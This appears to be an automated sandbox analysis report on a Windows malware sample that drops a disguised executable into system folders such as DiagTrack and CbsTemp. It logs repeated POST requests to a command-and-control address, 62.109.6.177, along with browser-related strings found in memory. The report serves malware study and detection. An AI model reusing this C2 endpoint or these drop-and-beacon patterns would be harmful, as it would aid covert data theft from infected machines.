Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue

Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.6.177

Source: unknown

HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003783000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003847000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.6.177
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003783000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003847000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefau
Source: aW6kSsgdvv.exe, 00000000.00000002.1694422783.0000000003453000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\CbsTemp\bac0f074c202d5	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File created: C:\Windows\DiagTrack\Settings\bac0f074c202d5	Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9B870DA4	0_2_00007FFD9B870DA4
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9B872905	0_2_00007FFD9B872905
